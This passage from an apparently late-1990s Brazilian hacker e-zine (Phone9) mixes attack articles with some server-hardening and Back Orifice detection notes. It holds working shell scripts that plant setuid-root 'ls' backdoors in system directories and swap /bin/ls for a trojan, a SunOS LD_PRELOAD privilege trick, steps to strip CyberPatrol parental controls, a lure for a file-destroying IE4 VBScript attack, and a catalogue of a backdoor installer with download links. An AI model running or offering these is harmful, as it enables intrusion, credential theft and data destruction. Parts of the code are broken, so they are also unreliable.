/tmp/ls, mas mude se estiver em outro lugar ;p ---------------[ The hunter ]------------- #!/bin/sh if [ `whoami` != root ]; then echo "Precisa ter root para rodar o script" exit 0 fi #se quiser acrescentar mais, veja abaixo: echo "Alvos: /usr/, /etc, /home/, /dev, /var" #backdoor no /home cd /home touch /home/ls /bin/cp /tmp/ls /home/ls chmod 4755 /home/ls echo "/home done" #backdoor no /usr cd /usr touch /usr/ls /bin/cp /tmp/ls /usr/ls chmod 4755 /usr/ls echo "/usr... done #backdoor /etc cd /etc touch /etc/ls /bin/cp /tmp/ls /etc/ls chmod 4755 /etc/ls echo "/etc... done" #backdoor /dev cd /dev touch /dev/ls /bin/cp /tmp/ls /dev/ls chmod 4755 /dev/ls echo "/dev... done" #backdoor /var cd /var touch /var/ls /bin/cp /tmp/ls /var/ls chmod 4755 /var/ls echo "/var... done" #done... echo "dan0ne..." ---------------[ The hunter ]------------- 2. The fish - Estah eh para os admins q encontrarem este merdinhas rodando backdoores tao estupidas, e pegar eles pela gravata... Utilize o sulogin na conta do lamer e depois execute o script, senao eh a sua shell que vai para o espaco ;) ---------------[ The fish ]------------- #!/bin/sh $PATH #especifique O diretorio onde o ls estah rodando cd $PATH chmod +s ls ---------------[ The fish ]------------- Agora rode este script para pegar o cara quando ele rodar o script: ----------[ The Funkyeadmin ]----------- #!/bin/csh #So prara variar ;) echo "............" sleep 60 /bin/cp /bin/sh /var/log/lslogshell whoami >> /var/log/lslog id >> /var/log/lslog date >> /var/log/lslog telnet localhost 19 -----------[ The Funkyeadmin ]--------- 3. The fucker - Estah eh bem malvada, e pega o sistema todo de vez.... tbm presumi q o ls estava no /tmp/ls ---------------[ The fucker ]------------- #!/bin/sh #opa, jah ia colocando /bin/ls mv /bin/ls /bin/.sl /bin/cp /tmp/ls /bin/ls chmod 4755 /bin/ls ---------------[ The fucker ]------------- Entao, voce se pergunta, oq eu fiz? bom, agora qualquer pessoa, em qualquer lugar do sistema, quem digitar ls automaticamente, ira executar o ls backdoor, depois disto, ele ira executar o verdadeiro ls. PS: como o ls backdoor (o primeiro exemplo), utiliza como padrao o comando ls e nao .sl, eh necessario mudar a utlima linha da backdoor, para /bin/.sl assim, o script ficara perfeito ;p Pra proxima edicao tem mais unix hack 0.01 >>> 0.01 <<< New elite numbahz... 0.01 contact:[.blood@phone9.org]|[.bi0tek@phone9.org.] The Phone9 Communications, Inc ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³6 - SunOS preloaded buggy ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bi0h4zard ³°° ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° Ok. esta e' bastante antiga, mas ainda funciona em algumas versoes da OS. Quando o SunOs , executa um programa, ele faz um checagem nas bibliotecas do sistemas, criando varios links temporarios. As bibliotecas em ordem de checar: - Os simbolos do programa - Os simbolos pre-loadados - A biblioteca dinamica do usuario - A biblioteca default do sistema Aqui vai um codigo em C explicando como tirar proveito disto: Crie este arquivo ( joe /root/sync.c ) e coloque o seguinte codigo nele: #--codigo--# shit() { execl("/bin/sh", "sh", 0); } #--codigo--# Compile-o assim: cc -c -O -R -pic sync.c Faca a biblioteca: ld -o buglib.so.1.1 -assert pure-text sync.o Selecione a lista de preloads: setenv LD_PRELOAD ./buglib.so.1.1 Agora faca: su sync Quando voce fizer isto, voce automaticamente estara dando um su no user sync, agora voce tem uma shell com id=1 e gid=1, use a imaginacao ( PS: Olhe as caracteristicas do user 'bin' e depois me conte o resultado ) Tudo fica baseado na sua fake sync, que chama a shell, antes que qualquer erro aconteca, ja' que a sync, sera executa de um jeito ou de outro. bi0hazard - 'Yabadabaduhhhhh....' --------- (c) bi0hazard@phone9.org ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³7 - PCS, Personal Communications Systems ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bloodroot ³°° ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° Toda a vida voce ouviu falar sobre PCS? nao! Tambem nao me espanta, pois o pessoal do #phreak da brasnet.org nem tem ideia do que seja isto ( shame on you guys!!! ;)), a PCS ( Personal Communications Systems ) e' o mais novo meio de comunicacao pessoal no mundo, e talvez um dos melhores se assim posso dizer!! chegando ate' a ameacar as entranhas do celular ( bah! Como se um dia existirao mais unix do que windows... ;)) Mas os pontos fortes do PCS sao, o E' totalmente digital! o Permite a conexao de celulares no seu sistema o Utiliza recursos como telefaz, telemail entre outros. o Conferencia movel digital o Nos ultimos 30 meses, teve um crescimento de 15 milhoes de usuarios para 2000 milhoes. Opera nas frequencias de 1850Mhz ate' 2200Mhz, o que permite que a comunica de largas faixas e distancias sejam alcancadas sem nenhum problema. Necessitando de somente 7% da banda da qual o sinal sera alimentado, o PCS concerteza e' o futuro do celular. Em medidas de seguranca o PCS utiliza varios recursos como: Obs: E'sim, no NEXTEL (melhor empresa de telefonia movel digital???), tem o PCS. - radio-frequency fingerprint: Um sistema de encriptacao de data/voz transmitida pelo aparelho do usuario do PCS, o sistema utiliza uma chave de 128bits, semelhante ao Message Digest 5 ( md5 ), esta chave que e'divida em 3 partes, para tres pessoas: Primeira parte - Digamos que seja uma especie de chave publica do usuario Segunda parte - E' a parte da chave que ira encriptar toda a transmissao e outros dados do PCS. Terceira parte - Chave desencriptadora e chave controladora vinda do tipo de CCC do PCS. O esquema fica mais ou menos assim: Primeira chave /|\ _/ \_ / \ ... ... E' a parte da E' a parte que fornece chave com a 18bits divididos em rounds identificacao de 2. Fazem parte da chave do usuario, para encriptar ou decriptar somente como a as transmissoes enviadas p/ primeira parte o PCS. do codigo para poder encriptar a transmissao Segunda chave /|\ _/ \_ / \ ... ... E' a parte que Tambem serve como um firewall checa a auten- ja' que checa por qualquer falha tificidade da nos bits da encriptacao da trans- transmissao, missao! mesclando as A procura de backdoors, como redirecionamento da duas chaves, do caminho data , entre outras coisas. ( da central e a do user ) para ver se a encrip- tacao esta realmen- te correta Terceira chave /|\ _/ \_ / \ ... ... E' a parte Recebe e desencripta todas da encriptacao as fingerprints destinadas que e' mais a ele. Recebendo a verdadeira importante, fonte do usuario. e' a finger print da central PCS de transmis- soes, onde e' criada uma chave nova a cada trans- missao. alem de incluir otimos sistemas anti-fraude como: - 0900-sex -> O sistema ira gravar todas as ligacoes 0900, ate' um certo momento, se a conversa for um tanto normal ( how bizare? ), entao eles a apagam depois de dois meses de contas sem nenhuma das tais ligacoes, caso exista uma reclamacao , ele irao tocar a fita para voce e perguntar "Esta concerteza nao e' a sua voz!!!" Caso ligacoes constantes ocorram o servicos 0900 sera deshabilitado daquele celular. - 0-xx-xxx-xxx-xxxx -> Ligacoes para outros paises estao estritamente e automaticamente desligadas ( o que nao permite que o AcidMud, ligue para a BBS do pessoal da THC ;)), ate' que a pessoa ligue para a central e diga a sua licenca de identidade entre outras informacoes! - RoamEX -> Um novo sistema de trackeamento de celular e PCS pelo mundo todo, cobrindo todo os paisesque habiltiaram esta funcao, so para lembrar o pais da liberdade ( holanda ), nao assinou este contrato entao nao holanda o anonimato e' total, e a seguranca de uma safe hack e' perfeita. hacking: --- Ate' agora, so um meio de se "hackear" com as aspas, e' bem simples, o primeiro e' um tanto primitivo eso ira funcionar caso voce pegue uma empresa de telefonia celular fraca como a NeXTeL, bom voce ira pegar o seu radio amador e ira scanear as frequencias de 1850Mhz a 2200Mhz. Esta e' um tanto basica!! huh? Os motivos para que este tipo de ataque nao funcione sao maximos, porque existe um sistema poderoso de encriptacao nos canais, nao deixando com que voce consiga ouvir as falas, fora o barulho junkie da conexao ISDN com a central. the blood root, Sekurity Netw0rks reg - (c) 1998, productions ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³8 - Detonando o cyberpatrol ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by franz kafka ³°° ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° Cyberpatrol e' uma merda para ser deletado... Eles tem um sistema estupido anti-hacker que me deixa nojo.. Yeaki!!! O cyberpatr0l, e' um programa instalado no seu computador pelos seus pais, para nao deixar que voce veja coisas como imagens de sexo, e qualquer outro assunto que eles considerem perigoso para a sua fragil mente. Agora, vamos deletar o cyberpatr0l e depois cair na pornografia de pessoas com mais de 18 anos ( stop being such a jackass y0u'r a pedofilist! ;) Primeiro, entre no computador no modo MS-DOS (aperte F8 quando a maquina estiver inicializando!!!) entre no diretorio do patrol pelo DOS e entao digite: attrib -r *.* no diretorio do cyberpatrol. E no diretorio do C: (ou primary HD), digite: deltree c:\patrol\ Voce deve primeiro retirar todas as referencias sobre o cyberpatrol do seu sistema, registros entre outros documentos. ( Nao deletem os arquivo do tipo *.nls posi eles sao do teclado e nao e' muito bom, deleta-los dali!!!) Voce ainda nao acabou pois precisa de mais algumas coisas... reconfigure o system.386 para bloquear o acesso ao winsock.ini, e agora digite o seguinte comando no diretorio do windows: c:\windows\> attrib -h -r ip.exe del ip.exe attrib -h -r *.ini Delete todos os arquivos que estejam sobreo controle do CP ou IP.exe!! Os proximos tres comando irao reconfigurar o system.386, no diretorio do windows: attrib -h -s -r system.386 copy system.386 c:\windows\system.drv copy system.386 .\system\system.drv Agora re-inicie a sua maquina... E depois para acessar o controle de acesso ao passw0rd do CP, simplemente edite o registro: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InternetExplorer\Security. E voce ira ver uma chave binaria, nao delete-a ou mude-a a nao ser que saiba o que esta fazendo... Pronto, no more access denied, Dude!!! ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³9 - re-escrevendo arquivos de sistema com VBzkr1pt ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bloodroot ³°° ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° Um codigo em VBzkr1pt, pode alterar qualquer documento dentro do HD de uma vitima, que esteja usando o bugado IE 4.0, este script devera ficar no codigo HTML da pagina, podendo rodar o programa VBscript Engine 3.x no servidor onde foi colocado a pagina, assim quando um lamer clicar entrar em uma pagina qualquer o arquivo descrito no sistema sera alterado... Sistemas afetados: - Internet Explorer 4.0 - VBscript Engine 3.x Description: Um script mal-intencionado, pode alterar arquivos do seu HD, por meio de uma pagina HTML. Demontracao do codigo bugado: Agora, o seu arquivo c:\p9r0x.txt foi alterado... Se voce quiser por exemplo: Colcoar um format c: |y no autoexec.bat do cara, use este script.... Agora coloque bem grande na sua pagina, um link assim: "Some quem tem IE 4.0, pode ver as novas fotos da Luana Piovani nua" E utiliza a binda da Luana como objeto bugado sexual ;) Era isso, agora e' so colocar o codigo na sua pagina e bugar toda a negada... ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³10 - Guia de seguranca em servidores WN-1.17 ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bloodroot ³°° ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° Ultimamente os desenvolvedores do servidor HTTP, WN, tem gastado muitas horas em frente do unix deles, aperfeicoando a seguranca deste infame servidor, que depois do apache e' o segundo melhor. Entretanto, isto nao e justificativa para que os administradores de um servidor WN, nao apliquem nenhuma flag de seguranca ou po- nham nehuma politica de seguranca, porque nao existe nenhuma re- lacao direta entre seguranca e funcionalidade, voce pode ter uma funcionalidade imensa, mas uma seguranca fraca, assim o inverso entao e' necessario se aplicar algumas tecnicas para tornar o WN realmente um pouco mais seguro. Entao para que o texto fique mais compreensivel eu vou dividir o texto em ameacas internas e externas. Amecas externas: O objetivo do administrador e' evitar que hackers obtenham acesso nao permitido em seus computadores, atravez do servidor HTTP, pro gramas como CGI e scripts, nao podem ser executados remotamente sem a autorizacao de algum usuario admitido dentro do computador Se voce nao ira rodar nenhum zkr1pt no seu sistema http, entao a melhor pedida seria roda-lo com o flag -e acionado, esta opcao impede que qualquer tentativa de comandos sejam atribuidos sob a id de qualquer usuario que esteja relacionado sob o funcionamento do server e nao permite que usuarios enviados pelo cliente sejam armazenados no servidor como arquivos temporarios.... Fora isto nada fra os logs sao guardados no sistema. A politica de seguranca basica do WN e' que nenhuma investida do cliente podera ser aceita pelo servidor, ja' impedindo o abuso de certos comandos enviados pelo cliente para dentro do servidor. A permissao para se gravar algo remotamente pelo servidor, devera ser concedida pelos comandos de permissoes vindas do administra- dor do sistema. Assim como impede o acesso externo, a utilizacao de documentos para visualizacao de usuarios e' impossivel, a nao ser que o administrador permita. Obs: Todas as permissoes dos diretorios do WN, estao dentro de arquivos nos diretorios do servidor http, entao e' necessario especificar cada uma separadamente... Estes arquivos sao index.cache Protegendo os arquivos index.cache: Todo o controle de seguranca do WN esta baseado nos arquivos index.cache, logo a seguranca destes arquivos no seu sistema e' importantissima, as opcoes -t ou -T permitem especificar um distinto grupo de usuarios que podem ter acesso ao index. cache, use as opcoes -t uid# ou -T gid#, para atribuir as permissoes, eu nao aconselho que voce coloquem sob a uid do usuario nobody a permissao destes arquivos, pois o uso de cgis bugados para atribuir comandos pode ser desatroso para o sistema inteiro, entao a uid0 e gid0 seriam perfeitas ao meu ver. Uma vez digitado o comando acima, quando se executa o comando wn -t, este ira envocar a ultima configuraca do -t assim nada saira e nao entrara a nao ser que o index.cache deixe. Agora, toda este seguranca se torna inutil se voce usar a flag -u, que permite que os usuarios que possuem algum arqui vo no sistema, especificado no index.cache possam ter acesso a ele remotamente, assim somente o dono do arquivo ira aces- sar os arquivos, se a opcao -u e -t forem usadas ao mesmo tempo, entao a opcao -u estara em vigor e os atributos sob os usuarios na opcao -t estara isenta no servidor. Quando o servidor esta sendo exeutado, ele deve presumir que todas s permisseos de algum usuario no host. Ese usuario e' determinado quando voce roda o program aem perl 'configure' ou definindo o USER_ID no config.h do servidor, seria otimo se o usuario USER_ID, tivesse o minimo de permissoes aceita- veis, se possivel criar um novo grupo e servidor seria otimo e' claro que este usuario devera ter permissao de leitura p/ todos os arquivos do servidor, podendo assim mostrar os docu mentos solicitados via web. Como padrao, WN nao usa a chamada de sistema chroot para res tringir os arquivos que o servidor pode acessar, isso aumen- taria a segurnaca a custa do trabalho extra do administrador O efeito disso e'evitar que o servidor acesse, ainda que in- ternamente, qualquer arquivo restrito que nao esteja no ar- quivo, index.cache. Eu recomendo o trabalho extra pois assim o seu patrao pode te dar um salario maior, mas avise-o, pois ninguem nota tais mudancas minimas para o surfistas... ;) Ameacas internas: Sempre que usuarios nao-permitidos tenham contas ativas no sistema, a seguranca estara sempre compromentida. O objetivo deste documento e' garantir que ao executar o WN nao fique inseguro o seu sistema. Se for possivel , veja se nenhum tem acesso de gravacao em qualquer arquivo index.cache do WN Uma boa regra para segurar o servidor internamente e': Considere sempre que todo mundo que tem acesso para gravacao no index.cache, tem todas as permissoes sob qual o servidor roda, assim ira poupar, qualquer eventual problema com o WN. Agora se voce utiliza o servidor WN para armazenar paginas de outras pessoas, e necessario dar acesso a algumas pessoas nos seus devidos diretorios, entao e'necessario rodar o WN, com a opcao -u acionada, a que exige que cada arquivo index. cache tenha um unico dono em comum, assim o dono do arquivos devera setupar os arquivos index.cache, na medidade que for necessario para o funcionamento do servidor. Isto seria algo como chmod u+wx /etc/passwd, assim somente voce tera acesso ao passwd com o atributo de grava-lo , ou tros poderao ve-lo mas nao muda-lo. Entao se a opcao -t for usada, entao a -u sera desativada, assim qualquer arquivo do qual a ui do ser- vidor tenha acesso para leitura, execucao e gravacao, podera ser executada pelo usuarios que acessam o servidor, se o WN, rodar sb a uid 0, entao arquivos como /etc/passwd estarao vulneraveis. Por isso o servidor nao permite links simboli- cos de index.cache's para outro index.cache's. A opcao de comando -e, e eficais caso qualquer execucao de scripts, ou CGIs seja solicitada... Ja' parando alguns bugs internos e externos. A utilizacao da opcao -u e -E, aumenta muito a seguranca do servidor, se voce deseja considerar que qualquer permissao dada pelo ID do usuarios sobre o qual o WN roda, tambem sao concedidas a todos os usuarios que podem criar um arquivo index.cache no sistema. Algumas configuracao de seguranca recomendadas: Esta e' uma lista consultada por varios membros da phone9 e de outros lugares, a fim de informar o seu servidor dos seguintes sistema de seguranca que rodam no sistema, iremos considerar que voce esteja usan do o WN ou SWN, na porta 80 (ou no maximo 8080), e que o valor das variaveis USER_ID e GROUP_ID nao tenham sido alteradas no arquivo, config.h, isso significa que o wn sera rodado como user r00t, mas ira mudar as suas permissoes para o usuario nobody. Da mesma forma que este podera ser inicializado pelo inetd e com os seu privilegios do nobody. CGI probidio e somente administrador como usuario confiavel: Utiliza-se a opcao -t ou -T, opcao -e ou -E e nenhuma outra, alem de alterar a linha do config.h #define FORBID_CGI, retirando o comentario da sua frente. Metodos POST, nao sao permitidos assim como nenhuma forma de programa que esteja sendo orignado internamente do servidor, nao-permitindo nenhum CGI rodando no sistema. Somente administrador ou grupo confiavel: Este e' o nivel de seguranca para rodar CGIs e scripts por meio do servidor, rode-o sob a opcao -t ou -T e nenhuma outra. Privilegios de servico de usuarios restritos: Isto permite que usuarios permitidos dentro do servidor, possam rodar suas home-page sem a supervisao do administrador, e' perfeito para servidores que irao armazenar home-pages de outras pessoas no seu dominio (ex. http://www.bloodroot.org/phone9/) Use as opcoes -E e -u. Se voce rodar a opcao -u nao rode a opcao -T ou -t. -.[ Conclusao ].- Use as configuracao aqui dispostas, para tornar o seu servidor WN mais seguro, embora o apache seja melhor.... Mas fazer o que????? The bloodroot - [.blood@phone9.org.] Guia de seguranca em servidores WN reg(c) 1998, productions ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³11 - backdoor cracker [bc20], tecnicas anais em sistemas linux ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bloodroot ³°° ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° The blood root's sekure netw0rks presents... The backdoor cracker remote/local backdoor system v2.0 - by bloodroot|bi0tek Recentemente, foi lancado um programa instalador de backdoors, em sistema linux e unix-brothers, este se chama .[bc20]. , e foi criado por bloodroot bi0tek, o programa codeado em Cshell, instala das mais infames backdoors no seu sistema e ainda vem com um sistema de seguranca que ao executado, nao permite que nenhuma das backdoors que o sistema utiliza seja realmente utilizada no seu sistema. O bc20, esta divido em dois grandes grupos: 'backdoor system' e 'sekurity board', cada um explicado abaixo: backdoor systems: E' o conjunto de backdoors que o bc20, instala no seu sistema... .[ls backdoor (Veja o artigo no.05 desta edicao da Phone9) .[rootls backdoor (Veja o artigo no.05 desta edicao da Phone9) .[in.couried backdoor in.couried e' um daemon comum que roda servicos por meio do inetd, este daemon porem possui um artibuto de permissao de gravacao, auto- maticamente especificado pelo programa que voce instalou, entao e' possivel se alterar algumas das suas funcoes para se instalar um sistema de portas bugadas no seu sistema, ex. inetd backdoor, sobre o daemon in.couried .[phf.cgi bug Exploita remotamente ou internamente o bug o phf.cgi, que vem com algumas versoes do apache web server... veja o artigo no.21 para maiores informacoes sobre o bug... .[b2 backdoor E' um programa em C feito por Dr.sm0g (sm0g@phone9.org), para instalar backdoors em praticamente todos os diretorios de um servidor. E' um codigo simples mas mesmo assim e' eficais!!! .[suidroot backdoor A preferida de todos nos, copia a shell de um usuario (root) para dentro de um arquivo a sua escolha... .[backdoor no inetd E outra backdoor que permite que uma porta seja usada somente para executar uma shell remotamente, sob a uid do dono do servico da porta, ou inetd, e ate mesmo root. .[cron time backdoor Instala um sistema de backdoors diretamente no sistema cron do root, assim voce podera executar a shell do root por meio de um arquivo suid. .[novo usuario root Apenas coloca um usuario com as uid:0 e gid:0!!! .[finger link backdoor E' a famosa backdoor utilizada em um finger, e' bem simples ao dar um finger em um usuario, o arquivo que voce escolher aparece logo apos o response do finger .[.files bug Instala um sistema de backdoor em praticamente qualquer arquivo .xxxx, que exista em sistema linux e ainda permite a opcao de colocar estas backdoors em qualquer arquivo .xxx do sistema .[fake login Instala um sistema de sniffer no /bin/login logando todos os passwords que forem digitados no prompt do login (login: e password: ) Podendo ser configurado para rodar dentro de um unico diretorio ou capturando o sistema todo. .[testcgi bug Exploita a falha de alguns setups de tescgi-cgi existentes, veja o artigo no.22 para maiories informacoes sobre o bug .[rhosts bugware Instala backdoors em arquivos .rhosts em pontos estrategicos do seu sistema. .[Apache webserver fuckware Tecnicas de DoS em servidores Apache de todos os sabores e versoes... .[/etc/passwd crackware Sao pequenas tecnicas de furto de password que podem ser adaptadas no /etc/passwd do seu sistema. Estas sao as backdoors que o .[bc20]. instala no seu sistema, lembramos que pelo fato de ser um sistema de backdoors, a maioria delas so funcionam depois que voce obter root no sistema o mesmo pode ser aplicado no sistema de seguranca do .[bc20]. ==[ sekurity board ]==[ bc20 ]== (c) by bloodroot|bi0tek O sistema de seguranca do bc20, se aplica a todos os backdoors que o backdoor systems, instala tornando assim o .[bc20]. , uma ferramenta de seguranca e de hacking... O sistema de seguranca do bc20, funciona para praticamente todas as backdoors que o modo de backdiir installer , instala... Implementando tecnicas conhecidas por varios guruz, e hackers, assim o bc20 e' uma ferramenta balanciada... O backdoor cracker v2.02, pode ser baixado nos seguintes enderecos: -- http://www.phone9.org/html/labs/tools/bc20.zip http://members.xoom.com/phone9/tools/bc20.zip http://www.microsoftz.com/phone9/tools/bc20.zip http://www.puruca.com.br/phone9/tools/bc20.zip -- Qualquer reclamacao, duvida ou implementacao de codigo: bc20@phone9.org [O lancamento do bc30... Ja' esta a caminho... aguardem...] backdoor cracker v2.02 - by bloodroot|bi0tek blood@phone9.org|bc20@phone9.org [P9] [P9] ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 12 - Apache Web server guard ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bi0tek ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° AWSG, e' um script CGI, que controla todas as acoes do seu servidor apache por meio de um unico CGI, enviando por mail qualquer coisa bizarra que aconteca no sistema, alem de ser totalmente configuravel, ele e' uma implementacao de um an- tigo condigo para o apache 1.1.1 (Geee!! My mum is younger) O script que fica rodando em background no servidor, monito ra qualquer acesso a arquivos que nao existem, diretorios do qual eles nao tem acesso, e qualquer outro documento nao permitido ao publico, o AWSG, grava as tntativas e as envia para o email do administrador, assim voce pode rodar o seu servidor apache sem que nada realmente incomum possa ser documentado. A AWSG, e' originalmente um script feito por fluidz, e eu implementei o codigo conrrigindo alguns bugs existentes no bichinho... Rode-o em perl (/usr/bin/perl???), e deixe-o rodando em backdground, junto com o servidor - qualquer problema eventual com o script, manda um mail para mim (bi0tek@phone9.org) O codigo ta' abaixo, sao dois arquivos o .htaccess e o awsg.cgi enjoy... ---[awsg.cgi]--- #!/usr/bin/perl # # Apache Web Server Guardian, v1.0 # by bi0tek|bi0tek@phone9.org # -- # awsg@phone9.org |Apache Web Server Guardian, email # -- # # Thanks to: x1p, CeZinha e flu1dz # # ---> phone9.org <--- # Entre o seu email: $email = 'bi0tek@phone9.org'; # Entre o endereco da sua pagina principal: $main_page = 'http://www.xxx.org/index.html'; # Entre o caminho para o seu programa de mail: (defaul e'o sendmail) $mailprog = '/usr/sbin/sendmail'; # Tratamento de erro_1: $code = "Razao misteriosa." if ($ENV{'QUERY_STRING'} eq '696'); $code = "Arquivo perdido..." if ($ENV{'QUERY_STRING'} eq '404'); $code = "Acesso restrito" if ($ENV{'QUERY_STRING'} eq '401'); $code = "Falha ao iniciar script" if ($ENV{'QUERY_STRING'} eq '500'); # Mandando um report por mail, para o admin... open(MAIL,"|$mailprog -t"); print MAIL "To: $email\n"; print MAIL "From: \@phone9 \@phone9\n"; print MAIL "Subject: Guardian Report [$code]\n"; print MAIL "X-Priority: 1 (Highest)\n\n"; print MAIL "O usuario, foi redirecionado para: $ENV{'REDIRECT_URL'}\n"; print MAIL "A conexao foi originade de: $ENV{'REMOTE_HOST'}.\n\n"; if ($ENV{'HTTP_REFERER'}) { @terms = split(/\//,$ENV{'HTTP_REFERER'}); print MAIL "O visitante veio de $ENV{'HTTP_REFERER'}. "; print MAIL "Contate o admin!!! $terms[0]//$terms[2].\n\n"; } else {print MAIL "Nenhum log foi reportado sob a seguite pesquisa.\n\n";} print MAIL "Detalhes a seguir:\n\n"; foreach $key (sort keys %ENV) {print MAIL "$key: $ENV{$key}\n";} close(MAIL); # Agora a explicacao para o usuario: print "Content-type: text/html\n\n"; print < $code (Apache Error $ENV{'QUERY_STRING'}) \n EOM if ($ENV{'QUERY_STRING'} eq '401') {&explain_401;} elsif ($ENV{'QUERY_STRING'} eq '404') {&explain_404;} elsif ($ENV{'QUERY_STRING'} eq '500') {&explain_500;} elsif {$ENV{'QUERY_STRING'} eq '696') {&explain_404;} else {&default;} print "\n\n\n"; sub explain_401 { print cliente, permitindo que este execute comandos remotamente atravez de protocolos UDP, simplesmente especificando o IP. Tambem e' bem possivel que o BO tenha intencoes de instalar uma backdoor remota no servidor, fazendo com que o servidor seja executa toda a vez que o windows for iniciado. Escondendo o usuario a opcao de desligar o servidor, por completo do sistema. 02: Compromentimento Controle total remotamente em uma maquina "vitima". Podendo ter todos os arquivos do seu HD totalmente inseguros. Uma vez instalado o servidor e' possivel que a sua maquina nunca seja tao segura como antes, pois o BO, tem um pequeno habito de tentar instalar backdoors no seu sistema... Somente sao vulneraveis maquinas rodando: - windows95/98/3.x - Com conexao a internet O back orifice so funciona por conexoes por meio de protocolos de internet, mais especificamente UDP (User Datagram Protocol), pela porta 31337!!! 03: Ate onde eu sou vulneravel? A principio o BO nao explora nenhuma falha especifica, descoberta no windows o cliente so consegue controle remotamente sobre uma maquina, se esta uma vez tenha roda o BOSERVER.exe, ou BOGUI.EXE, por isto este bug nao uma falha do windows, e sim uma opcao de controle remoto por meio de um cliente, que e' a funcao do servidor BO. Mas, ai voce se pergunta, mas entao nao e' nenhum tipo de backdoor? Errado, pois o intuito do BO e' , instalar o servidor e sumir com este, sendo assim, voce nao saberia como deshabilitar o servidor, deixando-o rodando sem ao menos saber na sua maquina por meses, ate que alguem faca um estrago no seu sistema ;) 04: Checando vulnerabilidade do sistema 1- Procure por conexao na porta 31337 ,pelo protocolo UDP, estas na maioria das vezes, implicam na conexao de um cliente no seu sistema, fique atento a estas entradas... Para verificar por entradas nas portas do seu sistema, digite no seu prompt: c:\windows\netstat -na udp 0 0 x.x.x.x:31337 Ou... c:\windows\netstat -p udp udp 0 0 x.x.x.x:31337 O comando nao muda, somente as flags usadas fazem diferenca mesmo ;). Com estes comandos, voce fica vulneravel... 2- Procure por arquivos no seu diretorio do windows: c:\windows\systems\ .exe c:\windows\systems\windll.dll Suspeite de arquivos com 124kbytes de tamanho, o servidor do BO, em versoes novas (se tiver algum update remoto ;)) pode mudar de nome de .exe para outro nome qualquer. 3- Se qualquer coisa estranha acontecer na sua rede, suspeite, pois o BO, pode executar remotamente programas, comandos etc... Suspeite de acoes incomuns como: - Maquina rebootando sem o seu desejo. - Velocidade de conexao a internet diminuida e o computador com uma velocidade pequena. - Arquivos novos aparecendo derepende na sua maquina. - Programas fechando se o seu pedido.. 05: Deletando o Back Orifice Uma funcao que pode mudar toda a 